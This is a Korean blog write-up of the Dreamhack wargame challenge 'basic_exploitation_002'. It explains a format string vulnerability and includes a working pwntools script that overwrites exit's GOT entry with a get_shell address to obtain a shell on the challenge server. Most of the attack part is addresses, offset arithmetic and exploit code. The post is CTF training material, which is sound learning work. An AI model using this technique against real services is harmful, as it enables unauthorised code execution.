Dreamhack - basic_exploitation_002 본문
https://dreamhack.io/wargame/challenges/4/
FSB문제이다.
프로그램을 돌려보겠다.
이런 식으로 포맷스트링을 이용해 메모리 유출 및 변조가 가능하다.
이번 문제는 친절하게도 입력 값 위치가 바로 앞에 있다.
exit got 주소를 get_shell 함수 주소로 덮을 예정이다.
주소 값들을 구해보러 가보자
exit_got = 0x0804a024
get_shell = 0x08048609
이제 포맷스트링을 적절히 사용하여 주소를 덮어보도록 하자
0x0804a024에 0x8609
0x0804a026에 0x0804를 집어넣도록 하겠다.
0x8609 - 화면줄력값(0x10) = 0x85f9 -> dec(34297)
0x10804 - 0x8609 = 0x81fb -> dec(33275)
exploit code
from pwn import *
p = remote("host1.dreamhack.games", 19427)
code = '\x90'*4 +'\x24\xa0\x04\x08'+'\x90'*4+'\x26\xa0\x04\x08'
code += "%34297d%n" + "%33275d%n"
p.send(code)
p.interactive()
FSB가 처음에 이해가 안 가도 하다 보면 이해가 간다.
많이 풀어보도록 하자.
FSB 공격 라이브러리가 있긴 한데 처음에 원리를 이해하기 위해 직접 해보도록 하자
'wargame > DreamHack' 카테고리의 다른 글
off_by_one_001 (0) | 2021.11.28 |
---|---|
Dreamhack - off_by_one_000 (0) | 2021.11.15 |
Dreamhack - basic_exploitation_003 (0) | 2021.11.03 |
Dreamhack - basic_exploitation_001 (0) | 2021.11.03 |
Dreamhack - basic_exploitation_000 (0) | 2021.11.03 |
Comments